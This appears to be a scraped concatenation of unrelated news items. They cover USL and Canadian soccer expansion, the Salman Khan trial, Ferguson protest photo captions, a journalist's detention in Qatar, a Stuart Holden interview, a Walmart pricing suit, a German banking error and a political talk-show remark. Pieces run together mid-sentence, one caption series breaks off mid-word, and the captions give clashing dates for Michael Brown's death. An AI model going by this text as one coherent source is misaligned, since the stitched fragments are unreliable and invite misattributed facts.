Bahamas: Local businessman Burton Rodgers is leading an expansion effort to bring a USL team to the Bahamas, according to a report in Tribune 242. The prospective club would play in 15,000 seat Thomas A. Robinson Stadium, in Nassau. Rodgers’ group is working with Anschutz Entertainment Group, the government, the National Sports Authority and the Bahamas Football Association to bring the vision to life. One drawback to the group’s plans is that the island nation has a population of just under 400,000, well short of USSF Division II standards.
“Mr Rodgers is in the midst of preparing a bid to attain a pro franchise for the Bahamas and AEG is fully committed to assisting him in ensuring that he has the best means and support to bring a said franchise to the Bahamas and we are very excited to assist in that regard,” Alan Kates, Managing Director of AEG Bahamas, told The Tribune. “I would say that there are numerous hurdles to cross and I know that Mr Rodgers is preparing with the assistance of some wonderful global supporters to ensure that the best possible presentation is made to the USL and to ensure that he has the best bid to see.
“He is in the beginning stages of this. I would safely say that the Thomas A Robinson Stadium would be a premier venue for a professional soccer team. Of course, AEG has connections in the soccer world and sports and entertainment business, so we are more than confident in putting this forward with the support of the Bahamas Football Association and the government of the Bahamas. Realistically it is in the very early stages, but there is rapid progress being made in taking it to the next level.”
The Bahamas group is targeting a 2019 kickoff in USL.
Boise: Boise could be the home of a USL team soon, either an independent club or a Portland Timbers affiliate. T2 and Swope Park Rangers played a match in Meridian, Idaho, near Boise, to test the market. The owner of the Boise Hawks minor league baseball team is looking to build a new 5,000 seat ballpark in downtown Boise that is touted as also being a potential home for a minor league soccer team, based on a report in the Idaho Statesman.
Idaho is considered Timbers “territory” in MLS terms, and the club already has partnerships with youth programs in the state. Portland executive Gavin Wilkerson shared the club’s plans to develop the Idaho market further with USLsoccer.com: “We want to look at a way to eventually have more games in Boise and in Idaho and then eventually will the league, will USL, allow us to have another team there? Is it a viable business decision? These are questions that we’ll be asking ourselves. This is definitely a trial match. It has many, many purposes and we’re very happy with the initial response.”
“We’re at the exploratory phase of going down this path,” Wilkinson said. “There’s conversations with the USL. There’s conversations about how we could be involved if we weren’t able to run the USL team in Idaho. What we’re looking at, in all honesty, is we’re exploring all avenues and all options.”
An article on the Idaho Business Review outlined several details of how pro soccer may unfold in Boise. Bill Taylor is leading a local group of investors who want to bring pro soccer to town.
“We will have serious talks starting in July (with government people and potential investors),” Taylor said. “The energy is legitimized. There is a return on investment now. Now you can go to people who are not necessarily soccer people. Now we just have to go to the next level with our government people.”
The article goes on to explore several locations in the Boise area where a stadium could be built. The mayor of Boise, David Bieter, is on board with the idea of a stadium. “Downtown needs a multi-use sports facility,” Bieter said. “I’m convinced that a public private partnership that brings minor league baseball and soccer as well as concerts and other events to downtown will pay great dividends.”
USL President Jake Edwards referenced the Portland Timbers’ interest in moving their T2 team to Boise in an interview with Sports Illustrated in October 2016. Speaking of the model of providing soccer operations for an independent local ownership who handles the business side that is being followed by San Jose with Reno and Houston with Rio Grande Valley, Edwards said, “I think more and more MLS teams are looking at that. Portland are looking at an independent group we’ve put together in Boise. Seattle is looking to partner with a group in Tacoma. I think this will be a model we see more of. It certainly makes sense toward achieving everyone’s goals. Some [MLS] teams will still be committed to that ‘second team’ structure, and maybe that will work for them. Where we are now with this partnership and this affiliate model isn’t where we’re going to be in a couple years … It won’t be a dramatic shift for next season but I think you’ll see some changes for 2018. Whether they’re MLS-owned or independent teams, if they’re not able to meet the standards and operate a team and create an environment at the level we require, they won’t continue.”
May 2017 Update: Nothing new.
El Paso: MountainStar Sports Group is reportedly working to bring a USL team to El Paso. MountainStar owns the El Paso Chihuahuas AAA baseball team as well as FC Juarez across the Mexican border.
May 2017 Update: Nothing new.
Grand Rapids: Grand Rapids FC is in talks with investors about a move up to USL, according to Michigan Live. Costs for an 8,000 seat soccer stadium for the club are estimated at $40M. “It has been a lot of work the past couple months but it has also been great,” team owner Matt Roberts said. “I think the evolution of soccer in West Michigan is just going to keep moving forward.”
“The next step is a major one and that is to get the financial backing to get it done,” he said.
May 2017 Update: Nothing new.
Long Island Rough Riders: Peter Zaratin, president of the Long Island Rough Riders, proposed to build a $8M-$10M soccer complex on the grounds of Suffolk Community College with the intent of sharing the facility between a Rough Riders USL team and the school, according to a report in Newsday.
“We are looking to be a feeder for Major League Soccer,” Zaratin told the paper, adding, “Long Island does not have the demographics for a major-league team.” The Rough Riders would be looking to fund the project with a public-private partnership that did not require any funds from the college, and would be looking for a 40 year lease and a revenue sharing agreement on tickets, food and retail sales. Investors would include Mitchell Rechler of Rechler Equity Partners and David Howard, a sports executive who has worked for the New York Mets and served as president of MSG Sports.
The Long Island Rough Riders PDL team is affiliated with New York City FC. NYCFC recently entered into an USL affiliate arrangement with San Antonio FC, though the Texas club’s MLS ambitions likely make that a short term relationship.
A USL club on Long Island could tap into some of the fan base left behind by the New York Cosmos, who moved to Brooklyn.
May 2017 Update: Nothing new.
San Francisco City FC: Last year, Evan Ream reported that San Francisco City FC had new investors that intend to take the team to a professional league by 2018. More recently, Ream reported that USL president Jake Edwards told him that a Bay Area group has submitted an expansion application to USL, but that team is not San Francisco City FC.
May 2017 Update: Evan Ream shared on Twitter that the Bay Area group he discussed is interested in putting a USL team in San Francisco, while repeating that the group is not San Francisco City FC of the PDL. If USL were to proceed with a team in San Francisco, with the Deltas in the NASL, it would seem SFCFC would not have many options to go pro.
Tucson: “We believe the time is right for the Tucson market to move up to the USL,” FC Tucson managing partner Greg Foster told the Arizona Daily Star. “We have a huge head start because our venue, Kino Stadium, is already in place.”
Foster told the publication that FC Tucson’s ownership has formed a steering committee to find investors to back the move to USL. “We’ve been running our PDL team like a USL team,” said Foster. “We believe we can significantly increase our footprint.”
“A USL team often has as many as four or five MLS players at a given time,” said Foster. “If we get a wholly owned affiliation, it would be a merger of our brand with an MLS franchise.”
Previously Midfield Press spoke with Rick Schantz, who signaled FC Tucson’s future intent on pro soccer.
Rick Schantz resigned as the head coach of FC Tucson to take on an assistant coaching role with Phoenix Rising FC. Schantz will remain in the ownership group of FC Tucson.
May 2017 Update: Nothing new.
As we passed the three month mark since 12 expansion applications were submitted to Major League Soccer, we are seeing the contenders start to separate into packs. Two factors seem to be of key importance: how big is your market, and can you get your stadium done.
The Tampa Bay Rowdies, one of the based in largest markets outside of MLS today, scored a major victory with the overwhelming victory of their stadium referendum. Tampa Bay’s victory stands in stark contrast to St. Louis’s failure to get their stadium measure passed. Several months ago St. Louis was seen as a sure bet for MLS, while Tampa Bay was thought of as an outsider. The tables have turned because Tampa Bay appears to be able to get their stadium done.
The rebranded Phoenix Rising have been drawing strong crowds to their new stadium, a complete reversal of fortunes for USL in the market under the new ownership. Signing Didier Drogba is another good way to show people that you are serious about taking your club to the next level. Now Phoenix Rising has hired Goldman Sachs to help them privately finance a stadium. A privately financed stadium combined with Phoenix’s market size mean like Tampa Bay, it too is rising toward the top. Meanwhile bids like Indianapolis and Charlotte find themselves struggling to gain public funding for a stadium.
I see the MLS bids separating into 3 tiers, based on a combination of a clear path to get a stadium done and market size:
As we focus our efforts on growth at the DII and DIII level, Midfield Press recommends checking out Blue Testament’s MLS expansion coverage for more information.
Canadian Premier League
The Canadian Premier League inches closer to official status. According to a report, the CPL has applied for membership with the Canadian Soccer Association. An organization similar to Soccer United Marketing is being formed to join the Canadian Premier League and the Canadian Soccer Association, according to an interview with Victor Montagliani.
The Canadian Premier League is expected to include up to six teams for a 2018 or 2019 start, including Hamilton, Halifax, Calgary and Winnipeg. Other possibilities could include Regina, Victoria, Quebec City, Moncton and a team in the greater Toronto area. Whether the Ottawa Fury and FC Edmonton will join the Canadian league remains to be seen, given Ottawa’s very recent move to USL and Edmonton’s ownership stake in the NASL. Toronto FC has expressed interest in having their reserve team join, however the CPL is reportedly not interested in having reserve teams in their league.
For more coverage on the Canadian Premier League, Midfield Press recommends checking out The Northern Starting Eleven’s monthly CPL updates.February 13, 2015 19:44 IST
In his deposition before the sessions court, which is conducting the trial of the 2002 hit-and-run case allegedly involving Bollywood superstar Salman Khan, a police constable on Friday contradicted his own statement recorded before the magistrate.
“I had taken two bottles of blood sample of the accused (Khan) in an envelope to the forensic lab,” the constable said during a cross-examination by defence lawyer Srikant Shivade.
The witness had said earlier, when examined by the Special Public Prosecutor Pradeep Gharat, that he had taken the blood sample from Bandra police station to the lab.
However, during the cross-examination, he denied that he had carried the blood vials in an iron container; he said he carried them in an envelope. He also denied having told the magistrate that the packet of blood sample had been sealed.
“I have not told this to the Magistrate (about iron container or sealed packet) and cannot say why he recorded it,” the witness added.
The constable said he took the samples to the lab on September 30, 2002, two days after the mishap in which the actor’s car had rammed into a bakery in suburban Bandra, killing one person and injuring four others sleeping outside.
At the next hearing, on February 16, a sub-inspector of police, who had accompanied Salman to J J Hospital for the blood test after the mishap, would be examined.
The trial is being conducted on a day-to-day basis. More than 20 witnesses have already been examined and a few more are left. The judge has asked the prosecution to wrap up the examinations as speedily as possible.56 PHOTOS More Ferguson Protests - updated 10/13/14 See Gallery Experts: Autopsy shows close-range wound for Brown CLAYTON, MO - OCTOBER 10: Protestors call for St. Louis County Prosecuting Attorney Robert McCulloch to withdraw from the investigation surrounding the death 18-year-old Michael Brown who was shot and killed by Darren Wilson, a Ferguson, Missouri police officer on October 9, 2014 in Clayton, Missouri. Brown's August 9 death sparked several days of sometimes violent protests in Ferguson. The shooting death of another 18-year-old, Vonderrit Myers Jr., by a St. Louis police officer on October 8 has sparked a new round of protests. (Photo by Scott Olson/Getty Images) A sign from a demonstrator rest on the ground on October 11, 2014, in St. Louis, Missouri, during a protest for the shooting death of Michael Brown. Civil rights organizations, protest groups and people from around the country were protesting the August 9 shooting of Brown, 18, which involved Ferguson Police officer Darren Wilson in the suburban town of Ferguson near St. Louis. AFP PHOTO/Joshua Lott (Photo credit should read Joshua LOTT/AFP/Getty Images) Demonstrators protest on October, 11 2014 in St. Louis, Missouri, the shooting death of Michael Brown. Civil rights organizations, protest groups and people from around the country were protesting the August 9 shooting of Brown, 18, which involved Ferguson Police officer Darren Wilson in the suburban town of Ferguson near St. Louis. AFP PHOTO/Joshua Lott (Photo credit should read Joshua LOTT/AFP/Getty Images) FERGUSON, MO - OCTOBER 10 : Demonstrators gather outside the Ferguson Police Station during a protest on Friday, October 10, 2014 in Ferguson, United States. (Photo by Samuel Corum/Anadolu Agency/Getty Images) FERGUSON, MO - OCTOBER 10 : Demonstrators confront police during a protest outside the Ferguson Police Station on Friday, October 10, 2014 in Ferguson, United States. (Photo by Samuel Corum/Anadolu Agency/Getty Images) FERGUSON, MO - OCTOBER 10 : A demonstrator stands in front of the Police line outside the Ferguson Police Station on October 10, 2014 in Ferguson, United States. (Photo by Samuel Corum/Anadolu Agency/Getty Images) CLAYTON, MO - OCTOBER 10: Protestors gather outside the District Prosecutors offices in Clayton, Mo. as part of the Ferguson October movement on October 10, 2014. Ferguson October movement started against police violence after the shooting death of 18-year-old Michael Brown by a police officer in a suburb of St. Louis of Ferguson, Missouri on August 09. The shooting death of another 18-year-old Vonderrit Myers by an off-duty St. Louis police officer on October 8 has sparked a new round of protests. (Photo by Samuel Corum/Anadolu Agency/Getty Images) CLAYTON, MO - OCTOBER 10: Protestors gather outside the District Prosecutors offices in Clayton, Mo. as part of the Ferguson October movement on October 10, 2014. Ferguson October movement started against police violence after the shooting death of 18-year-old Michael Brown by a police officer in a suburb of St. Louis of Ferguson, Missouri on August 09. The shooting death of another 18-year-old Vonderrit Myers by an off-duty St. Louis police officer on October 8 has sparked a new round of protests. (Photo by Samuel Corum/Anadolu Agency/Getty Images) CLAYTON, MO - OCTOBER 10: Protestors gather outside the District Prosecutors offices in Clayton, Mo. as part of the Ferguson October movement on October 10, 2014. Ferguson October movement started against police violence after the shooting death of 18-year-old Michael Brown by a police officer in a suburb of St. Louis of Ferguson, Missouri on August 09. The shooting death of another 18-year-old Vonderrit Myers by an off-duty St. Louis police officer on October 8 has sparked a new round of protests. (Photo by Samuel Corum/Anadolu Agency/Getty Images) CLAYTON, MO - OCTOBER 10: Volunteers called 'Marshalls' direct traffic around the District Prosecutors offices where protestors take part in a rally as part of the Ferguson October movement in Clayton, Mo. on October 10, 2014. Ferguson October movement started against police violence after the shooting death of 18-year-old Michael Brown by a police officer in a suburb of St. Louis of Ferguson, Missouri on August 09. The shooting death of another 18-year-old Vonderrit Myers by an off-duty St. Louis police officer on October 8 has sparked a new round of protests. (Photo by Samuel Corum/Anadolu Agency/Getty Images) CLAYTON, MO - OCTOBER 10: Protestors gather outside the District Prosecutors offices in Clayton, Mo. as part of the Ferguson October movement on October 10, 2014. Ferguson October movement started against police violence after the shooting death of 18-year-old Michael Brown by a police officer in a suburb of St. Louis of Ferguson, Missouri on August 09. The shooting death of another 18-year-old Vonderrit Myers by an off-duty St. Louis police officer on October 8 has sparked a new round of protests. (Photo by Samuel Corum/Anadolu Agency/Getty Images) CLAYTON, MO - OCTOBER 10: Police stand guard as protestors gather outside the District Prosecutors offices in Clayton, Mo. as part of the Ferguson October movement on October 10, 2014. Ferguson October movement started against police violence after the shooting death of 18-year-old Michael Brown by a police officer in a suburb of St. Louis of Ferguson, Missouri on August 09. The shooting death of another 18-year-old Vonderrit Myers by an off-duty St. Louis police officer on October 8 has sparked a new round of protests. (Photo by Samuel Corum/Anadolu Agency/Getty Images) CLAYTON, MO - OCTOBER 10: Protestors gather outside the District Prosecutors offices in Clayton, Mo. as part of the Ferguson October movement on October 10, 2014. Ferguson October movement started against police violence after the shooting death of 18-year-old Michael Brown by a police officer in a suburb of St. Louis of Ferguson, Missouri on August 09. The shooting death of another 18-year-old Vonderrit Myers by an off-duty St. Louis police officer on October 8 has sparked a new round of protests. (Photo by Samuel Corum/Anadolu Agency/Getty Images) CLAYTON, MO - OCTOBER 10: Protestors gather outside the District Prosecutors offices in Clayton, Mo. as part of the Ferguson October movement on October 10, 2014. Ferguson October movement started against police violence after the shooting death of 18-year-old Michael Brown by a police officer in a suburb of St. Louis of Ferguson, Missouri on August 09. The shooting death of another 18-year-old Vonderrit Myers by an off-duty St. Louis police officer on October 8 has sparked a new round of protests. (Photo by Samuel Corum/Anadolu Agency/Getty Images) CLAYTON, MO - OCTOBER 10: Protestors call for St. Louis County Prosecuting Attorney Robert McCulloch to withdraw from the investigation surrounding the death 18-year-old Michael Brown who was shot and killed by Darren Wilson, a Ferguson, Missouri police officer on October 9, 2014 in Clayton, Missouri. Brown's August 9 death sparked several days of sometimes violent protests in Ferguson. The shooting death of another 18-year-old, Vonderrit Myers Jr., by a St. Louis police officer on October 8 has sparked a new round of protests. (Photo by Scott Olson/Getty Images) ST LOUIS, MO - OCTOBER 09: The grandmother of 18-year-old Vonderrit Myers Jr. is comforted during a candlelight vigil for her grandson on October 9, 2014 in St Louis, Missouri. Meyers was shot and killed yesterday by an off duty St. Louis police officer. The St. Louis area has been struggling to heal since riots erupted in suburban Ferguson, Missouri after the shooting death of 18-year-old Michael Brown by a Ferguson police officer on August 9. (Photo by Scott Olson/Getty Images) ST LOUIS, MO - OCTOBER 09: People gather outside the store which 18-year-old Vonderrit Myers Jr. had left before he was killed on October 9, 2014 in St Louis, Missouri. Meyers was shot and killed across the street from the store yesterday by an off duty St. Louis police officer. The St. Louis area has been struggling to heal since riots erupted in suburban Ferguson, Missouri after the shooting death of 18-year-old Michael Brown by a Ferguson police officer on August 9. (Photo by Scott Olson/Getty Images) ST LOUIS, MO - OCTOBER 09: The grandmother of 18-year-old Vonderrit Myers Jr. stands near the spot where he was killed during a candlelight vigil on October 9, 2014 in St Louis, Missouri. Meyers was shot and killed yesterday by an off duty St. Louis police officer. The St. Louis area has been struggling to heal since riots erupted in suburban Ferguson, Missouri after the shooting death of 18-year-old Michael Brown by a Ferguson police officer on August 9. (Photo by Scott Olson/Getty Images) ST LOUIS, MO - OCTOBER 09: Mourners attend a candlelight vigil in memory of 18-year-old Vonderrit Myers Jr. on October 9, 2014 in St Louis, Missouri. Meyers was shot and killed yesterday by an off duty St. Louis police officer. The St. Louis area has been struggling to heal since riots erupted in suburban Ferguson, Missouri after the shooting death of 18-year-old Michael Brown by a Ferguson police officer on August 9. (Photo by Scott Olson/Getty Images) ST LOUIS, MO - OCTOBER 09: Mourners attend a candlelight vigil in memory of 18-year-old Vonderrit Myers Jr. on October 9, 2014 in St Louis, Missouri. Meyers was shot and killed yesterday by an off duty St. Louis police officer. The St. Louis area has been struggling to heal since riots erupted in suburban Ferguson, Missouri after the shooting death of 18-year-old Michael Brown by a Ferguson police officer on August 9. (Photo by Scott Olson/Getty Images) ST LOUIS, MO - OCTOBER 09: Mourners attend a candlelight vigil in memory of 18-year-old Vonderrit Myers Jr. on October 9, 2014 in St Louis, Missouri. Meyers was shot and killed yesterday by an off duty St. Louis police officer. The St. Louis area has been struggling to heal since riots erupted in suburban Ferguson, Missouri after the shooting death of 18-year-old Michael Brown by a Ferguson police officer on August 9. (Photo by Scott Olson/Getty Images) ST LOUIS, MO - OCTOBER 09: Mourners attend a candlelight vigil in memory of 18-year-old Vonderrit Myers Jr. on October 9, 2014 in St Louis, Missouri. Meyers was shot and killed yesterday by an off duty St. Louis police officer. The St. Louis area has been struggling to heal since riots erupted in suburban Ferguson, Missouri after the shooting death of 18-year-old Michael Brown by a Ferguson police officer on August 9. (Photo by Scott Olson/Getty Images) ST LOUIS, MO - OCTOBER 09: Family members attend a candlelight vigil for 18-year-old Vonderrit Myers Jr. on October 9, 2014 in St Louis, Missouri. Meyers was shot and killed yesterday by an off duty St. Louis police officer. The St. Louis area has been struggling to heal since riots erupted in suburban Ferguson, Missouri after the shooting death of 18-year-old Michael Brown by a Ferguson police officer on August 9. (Photo by Scott Olson/Getty Images) ST LOUIS, MO - OCTOBER 09: Mourners attend a candlelight vigil in memory of 18-year-old Vonderrit Myers Jr. on October 9, 2014 in St Louis, Missouri. Meyers was shot and killed yesterday by an off duty St. Louis police officer. The St. Louis area has been struggling to heal since riots erupted in suburban Ferguson, Missouri after the shooting death of 18-year-old Michael Brown by a Ferguson police officer on August 9. (Photo by Scott Olson/Getty Images) ST LOUIS, MO - OCTOBER 09: Mourners attend a candlelight vigil in memory of 18-year-old Vonderrit Myers Jr. on October 9, 2014 in St Louis, Missouri. Meyers was shot and killed yesterday by an off duty St. Louis police officer. The St. Louis area has been struggling to heal since riots erupted in suburban Ferguson, Missouri after the shooting death of 18-year-old Michael Brown by a Ferguson police officer on August 9. (Photo by Scott Olson/Getty Images) ST LOUIS, MO - OCTOBER 09: Mourners attend a candlelight vigil in memory of 18-year-old Vonderrit Myers Jr. on October 9, 2014 in St Louis, Missouri. Meyers was shot and killed yesterday by an off duty St. Louis police officer. The St. Louis area has been struggling to heal since riots erupted in suburban Ferguson, Missouri after the shooting death of 18-year-old Michael Brown by a Ferguson police officer on August 9. (Photo by Scott Olson/Getty Images) ST LOUIS, MO - OCTOBER 09: Mourners attend a candlelight vigil in memory of 18-year-old Vonderrit Myers Jr. on October 9, 2014 in St Louis, Missouri. Meyers was shot and killed yesterday by an off duty St. Louis police officer. The St. Louis area has been struggling to heal since riots erupted in suburban Ferguson, Missouri after the shooting death of 18-year-old Michael Brown by a Ferguson police officer on August 9. (Photo by Scott Olson/Getty Images) ST LOUIS, MO - OCTOBER 09: Mourners attend a candlelight vigil in memory of 18-year-old Vonderrit Myers Jr. on October 9, 2014 in St Louis, Missouri. Meyers was shot and killed yesterday by an off duty St. Louis police officer. The St. Louis area has been struggling to heal since riots erupted in suburban Ferguson, Missouri after the shooting death of 18-year-old Michael Brown by a Ferguson police officer on August 9. (Photo by Scott Olson/Getty Images) ST LOUIS, MO - OCTOBER 09: Demonstrators march through the streets protesting the October 8 killing of 18-year-old Vonderrit Myers Jr. by an off duty St. Louis police officer on October 9, 2014 in St Louis, Missouri. The St. Louis area has been struggling to heal since riots erupted in suburban Ferguson, Missouri after the shooting death of 18-year-old Michael Brown by a Ferguson police officer on August 9. (Photo by Scott Olson/Getty Images) ST LOUIS, MO - OCTOBER 09: Demonstrators march through the streets protesting the October 8 killing of 18-year-old Vonderrit Myers Jr. by an off duty St. Louis police officer on October 9, 2014 in St Louis, Missouri. The St. Louis area has been struggling to heal since riots erupted in suburban Ferguson, Missouri after the shooting death of 18-year-old Michael Brown by a Ferguson police officer on August 9. (Photo by Scott Olson/Getty Images) ST LOUIS, MO - OCTOBER 09: Demonstrators march through the streets protesting the October 8 killing of 18-year-old Vonderrit Myers Jr. by an off duty St. Louis police officer on October 9, 2014 in St Louis, Missouri. The St. Louis area has been struggling to heal since riots erupted in suburban Ferguson, Missouri after the shooting death of 18-year-old Michael Brown by a Ferguson police officer on August 9. (Photo by Scott Olson/Getty Images) ST LOUIS, MO - OCTOBER 09: Demonstrators march through the streets protesting the October 8 killing of 18-year-old Vonderrit Myers Jr. by an off duty St. Louis police officer on October 9, 2014 in St Louis, Missouri. The St. Louis area has been struggling to heal since riots erupted in suburban Ferguson, Missouri after the shooting death of 18-year-old Michael Brown by a Ferguson police officer on August 9. (Photo by Scott Olson/Getty Images) ST LOUIS, MO - OCTOBER 09: Demonstrators march through the streets protesting the October 8 killing of 18-year-old Vonderrit Myers Jr. by an off duty St. Louis police officer on October 9, 2014 in St |
was to scare us, well, then mission accomplished.
Most likely, we think, we’ll get to spend the night in a cell. But then we’re gathered in the entry hall and brought back into the office of the police chief. The quartet from “the Ministry of Interior” has gone, leaving only the arresting officer to deal with us.
Flight home
“You’ll be free to go in a moment,” he says. “Next time, you should really be more careful. We’re doing this to protect you.” He returns our passports and cell phones and follows us to our car, smiling.
Out in the street, we’re confused. What just happened? It’s evening and we drive back to our hotel. We buy tickets for the first morning flight out and pack our bags.
In the middle of the night we check out and go the airport, wary of being followed and concerned about whether we will get to leave the country. Is this now over?
Roger H. Goun / Flickr
Of course it is, everything went according to plan. Another crew of journalists goes home without evidence of how workers are treated in Qatar, and they’re not likely to return.
Key questions
Having reflected on this experience, we have just a few simple questions for the Qatari authorities.
What is so important to hide about workers’ living and working conditions that it is better to jail and interrogate journalists, to confiscate their work?
And looking forward, what do you intend to do? Next time, you’ll be dealing with more than a small Danish film crew. If all goes according to plan, you’ll be welcoming thousands of journalists for the World Cup in six years.
What will you do then, lock up all ungrateful journalists? Or will the people who built your stadiums and infrastructure be put away?
Editor’s note:
Niels Borchert Holm is not the first foreign journalist to be apprehended in Qatar in recent times.
Last year, BBC journalists were arrested by Criminal Investigations Division (CID) officials in Doha’s Industrial Area. They were released without charge, but their equipment was seized and not returned.
A few months before that, German broadcast journalist Florian Bauer was also detained by police in Qatar. He was accused of filming without a permit. It took more than three weeks for his cellphone, laptop and external hard drive to be returned to him in Germany. His laptop had been damaged and his electronic devices had had their memories wiped, he said.
Bauer said Qatar state media authorities apologized for his ordeal and offered to pay for his hotel room and flight home, but he declined.
Holm, meanwhile, told Doha News that he received a phone call from Qatar’s Government Communications Office after his release inviting him to a meeting the next day, but he chose not to attend and has not spoken to local officials since.When this newspaper published the Premier League team of the first half of the season as judged by its readers, the identity of the player with the highest rating of all came as something of a surprise. Stuart Holden was only just making a name for himself in Bolton, never mind the rest of the country, but Guardian readers were in good company. David Moyes, Mick McCarthy and Owen Coyle only required a brief glimpse of the American in action to be convinced he would make it in England, and all three played a part in helping Holden overcome a series of setbacks to succeed.
"I wouldn't say I have made it yet," the 25-year-old midfielder says modestly at Bolton Wanderers' fog-bound training ground. "It's nice to get some recognition, but in some ways I still feel I am only just starting out."
Holden is in his second spell in England, the first, at Sunderland, having come to naught six years ago through no fault of his own. The club getting promoted was bad enough, he was still waiting to make his Championship debut without the added pressure of a step up to the Premier League, but what sealed his fate was an unprovoked attack in a late night Newcastle taxi queue that left him with a fractured eye socket. Holden had impressed McCarthy, his manager, in a six-month stay, but he was left with little option but to return to the United States and resume his career with Houston Dynamo.
"David Moyes and Alan Irvine put in a good word for me initially," he says. "They saw me in the Milk Cup in Ireland with the US Under-20 squad and offered me a trial at Everton. They were flying high in the league at that time and didn't have an immediate place in the squad for me, but said I had done well and recommended me to Sunderland. I'll always be grateful for Mick McCarthy giving me the opportunity. The reason it didn't work out was a combination of my unfortunate injury and the team getting promoted."
Holden, who holds a British passport as a result of being born and brought up in Aberdeen, performed well enough for Houston to break into the USA national side but, after four years back in Texas, his dream of playing in England was beginning to fade. Then a call came that unexpectedly brought him closer to home than he could ever have imagined. His parents moved to Texas when he was 10 but his paternal grandparents have always lived in Hindley, a small town between Bolton and Wigan. Naturally they followed his career in America but Holden now plays his football so close to where his family is from that his grandfather can pop along to watch him.
"My grandpa comes to every game he can," Holden explains. "He really likes his football and he offers me a critique after every match. I love that. I'm proud of my heritage and remember my upbringing in Scotland but I have spent the majority of my life in the States, all my teen years and the years I most vividly remember, so I feel that's my country. That's home, that's where I imagine I'll be heading back to once this English adventure is over. I represented the United States at international level and I'm proud every time I put on the American shirt. If I could plan my career ahead, which is something I've already learned you can't really do, I would play football in England until I retire then return home to start a family. For the moment though, it's really nice to have my grandparents and my cousins so close. I wasn't expecting that."
Coyle was the Burnley manager when he offered Holden a trial after seeing him on TV. "The gaffer had seen me playing against the [Los Angeles] Galaxy, it was a semi-final and I had quite a good game," Holden says. "Owen Coyle told my agent he liked me but said he'd need to see me train for a week with the team before doing a deal. So I got on a plane, 1 January last year, to head for Burnley. I got to my hotel and discovered training was not going to take place because of snow. The following day, still snowed in, I found out the gaffer had left Burnley for Bolton.
"I didn't quite know what to do next. My agent was trying to get Owen Coyle on the phone, to find out what was going on, everything was suddenly in limbo. I didn't know if my trial was on or off. I knew the gaffer liked me as a player but I didn't know if he'd want me around on day one at Bolton. He did, though, and his first day at Bolton was mine too. As he was introducing himself to the players he introduced me to them as well. I just went along with it, I don't know what the guys were thinking, but I knew I had to work hard and make a good impression, so that's what I did. After a couple of weeks I was offered a short-term contract and everything went from there."
It went far from smoothly. Holden had just managed to break into the Bolton side when, playing a friendly against Holland in March as part of the USA World Cup preparations, an ill-judged tackle of the type that earned Nigel de Jong the nickname "Lawnmower" left him with a broken leg. That not only put back his Bolton progress, it left him struggling to make the World Cup. He was picked for the squad but only managed a few minutes as a substitute in the opening game against England. He had not fully recovered and was beginning to think luck would always be against him.
"The night I got the result of the x-ray I just remember thinking: 'Not again'," he says. "I had just played my first game for Bolton. I seemed destined to suffer a major setback every time I was playing well enough to get noticed. I was really down but the next morning the gaffer called me when I was flying back to England and told me the club intended to pick up the option on my contract for a further year. For me that was a big lift."
Holden is now almost as close to De Jong as he is to his grandparents, though only in a geographical sense. "I had a thigh strain when we played Man City so I haven't played against him since the injury," he says. "We exchanged a few words when we both did a charity event a couple of months ago but sorry was not among them. My leg was never spoken about. It's up to him whether he wants to apologise, I have had to put the matter behind me. It's better to move on than hold grudges. I would not accuse him of intentionally trying to break my leg, I would just describe it as a reckless tackle. There was a lot of controversy, but you do get reckless tackles in football sometimes."
Like De Jong himself, Holden plays with a robustness that belies his size. He hardly conforms to the perceived Bolton stereotype yet has quickly become a crowd favourite at the Reebok despite, or maybe because of, his lack of height and muscle. Surprisingly slight of frame, no one would ever mistake him for a rugby player. "I might be small but I'm not afraid of tackling or getting about the field," he says. "I like to get on the ball and pass it quickly, and you don't need to be the biggest of guys to do that. As long as you are tactically aware and strong when you go into a challenge you can compete at this level."
The challenge of playing against some of the best teams in the world has inspired him to put in performances that have caught the attention of many. Another tough test awaits against Chelsea on Monday. "I have always supported Manchester United and playing against greats like Paul Scholes and Ryan Giggs was amazing. You don't forget you are up against top players, but at the same time you must regard it as an opportunity to showcase your own ability. We'll be hoping to play in the same way against Chelsea, get them on the back foot if we can. As a player the Premier League is the environment you want to be in. You have great fans, great atmosphere, even the climate is perfect. It might not be so good for living in, but it's just right for running around on grass."A Chinese woman waits outside of a Wal-Mart store in downtown Beijing, on September 7, 2008. (UPI Photo/Stephen Shaver) | License Photo
MURRYSVILLE, Pa., Oct. 3 (UPI) -- A Pennsylvania woman was awarded $100 in damages from Walmart over a 2-cent disparity between an item's tagged price and its scanned price.
Murrysville District Judge Charles Conway sided with consumer activist Mary Bach of Murrysville, whose civil suit against Walmart claimed the company intentionally charged 2 cents more for Banquet "Brown 'N Serve" sausage than the price on the tag at the location near Delmont, the Pittsburgh Tribune-Review reported Monday.
Conway awarded Bach, whose suit alleged unfair trade practices, $100 in damages and $80 in court costs Thursday.
"This is the fifth lawsuit we've had against this store for the same problem," Bach said. "This isn't an isolated incident."
Walmart, which had claimed the price difference was the result of new packaging for the products, has 30 days to appeal the verdict.This article is from the archive of our partner.
From what happened to one German business man, it sounds like you can actually keep some of it. Sweet. So we've all had the dream of our bank accidentally depositing tons of money into our account, right? Well, it actually happened to one Michael H. (as German media refers to him) whose bank Comdirect accidentally boosted his account by €200 million--€10 million of which he moved to a different account. Because this isn't the movies, Comdirect got it all back but there's still the matter of, according to figures from German outlet Die Welt, around €12,000 (about $15,736) in interest made overnight. Apparently, the bank had taken that sum out of Michael's account and Michael had sued for it back.
The Local, an English-language German news site, points out that Comdirect took the money out as part of the 14.4 percent interest they were charging him. Yeah, we know, 14.4 percent? Obscene interest rate aside, the case was taken to court where it was decided that the bank should be the ones paying Michael: "€12,000 – plus the interest it accrued over the last year." So all in all, €12,000 and some change over a banking error? Not bad. But it isn't quite €200 million... oh and you guess it, Comdirect is appealing the decision.
This article is from the archive of our partner The Wire.KATRINA VANDEN HEUVEL: I agree with Matt. You do need a legislative branch which asserts its authority. And it's not to say one doesn't have problem with executive authority when it comes to drones, or a questionable kill list of Americans, NSA surveillance.
But the balance is out. The balance is off. For example, the president should go to Congress if he's going to take military action in Iraq. And that was a part of your interview.
And I think we're sitting here at a moment, George, where we're talking about John Boehner. But the central question of war and peace for this country, there is no military solution to Iraq.
And I have to say, sitting next to Bill Kristol, man, I mean, the architects of catastrophe that have cost this country trillions of dollars, thousands of lives, there should be accountability.
We should not -- if there are no regrets for the failed assumptions that have so grievously wounded this nation, I don't know what happened to our politics and media accountability. But we need it, Bill, because this country should not go back to war.
